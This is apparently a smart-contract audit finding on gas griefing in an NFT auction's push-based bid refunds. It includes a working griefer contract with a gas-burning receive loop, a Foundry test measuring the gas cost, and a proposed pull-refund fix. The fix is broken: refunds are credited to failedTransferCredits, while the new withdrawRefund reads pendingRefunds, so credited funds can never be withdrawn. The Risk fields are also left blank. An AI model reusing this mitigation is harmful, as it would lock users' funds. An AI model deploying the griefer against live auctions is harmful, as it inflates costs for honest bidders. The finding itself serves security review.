Elevated Gas Consumption from Malicious Refund Handlers Chases Legitimate Bidders Away
Description
Normal bidding refunds the previous bidder via a low-gas ETH transfer. Malicious previous bidders using gas-intensive receive functions consume excessive gas during the failed payout call, inflating costs for subsequent legitimate bidders without reverting the transaction.
if (previousBidder != address(0)) {
@>_payout(previousBidder, previousBidAmount);@>
}
function _payout(address recipient, uint256 amount) internal {
if (amount == 0) return;
(bool success,) = payable(recipient).call{value: amount}("");
if (!success) {
failedTransferCredits[recipient] += amount;
}
}
Risk
Likelihood:
Impact:
Proof of Concept
Deploys GasGriefer with gas-burning receive; measures gas for outbidding normal bidder vs. griefer, logging and asserting higher consumption in griefer case to show cost inflation.
contract GasGriefer {
receive() external payable {
uint256 gasConsumed = gasleft();
while (gasleft() > gasConsumed / 2) {
}
}
}
function testElevatedGasFromGriefer() public {
_mintNFT();
_listNFT();
vm.deal(BIDDER_1, MIN_PRICE + 1 ether);
vm.prank(BIDDER_1);
market.placeBid{value: MIN_PRICE + 1 ether}(TOKEN_ID);
uint256 normalGas;
vm.deal(BIDDER_2, MIN_PRICE + 2 ether);
vm.prank(BIDDER_2);
uint256 gasBefore = gasleft();
market.placeBid{value: MIN_PRICE + 2 ether}(TOKEN_ID);
uint256 gasAfter = gasleft();
normalGas = gasBefore - gasAfter;
GasGriefer griefer = new GasGriefer();
vm.deal(address(griefer), MIN_PRICE + 3 ether);
vm.prank(address(griefer));
market.placeBid{value: MIN_PRICE + 3 ether}(TOKEN_ID);
uint256 grieferGas;
vm.deal(BIDDER_2, MIN_PRICE + 4 ether);
vm.prank(BIDDER_2);
uint256 grieferGasBefore = gasleft();
market.placeBid{value: MIN_PRICE + 4 ether}(TOKEN_ID);
uint256 grieferGasAfter = gasleft();
grieferGas = grieferGasBefore - grieferGasAfter;
console.log("Normal outbid gas:", normalGas);
console.log("Griefer outbid gas:", grieferGas);
assertGt(grieferGas, normalGas);
}
Recommended Mitigation
Shifts to pull-based refunds via failedTransferCredits accumulation in bidding/settlement, bypassing direct calls and eliminating gas griefing vectors.
function _payout(address recipient, uint256 amount) internal {
- if (amount == 0) return;
- (bool success,) = payable(recipient).call{value: amount}("");
- if (!success) {
- failedTransferCredits[recipient] += amount;
- }
+ if (amount > 0) {
+ failedTransferCredits[recipient] += amount;
+ }
}
+ function withdrawRefund() external {
+ uint256 amount = pendingRefunds[msg.sender];
+ require(amount > 0, "No refund");
+ pendingRefunds[msg.sender] = 0;
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Transfer failed");
+ }
// Update placeBid and _executeSale to use pendingRefunds instead of _payout
if (previousBidder != address(0)) {
- _payout(previousBidder, previousBidAmount);
+ failedTransferCredits[previousBidder] += previousBidAmount;
}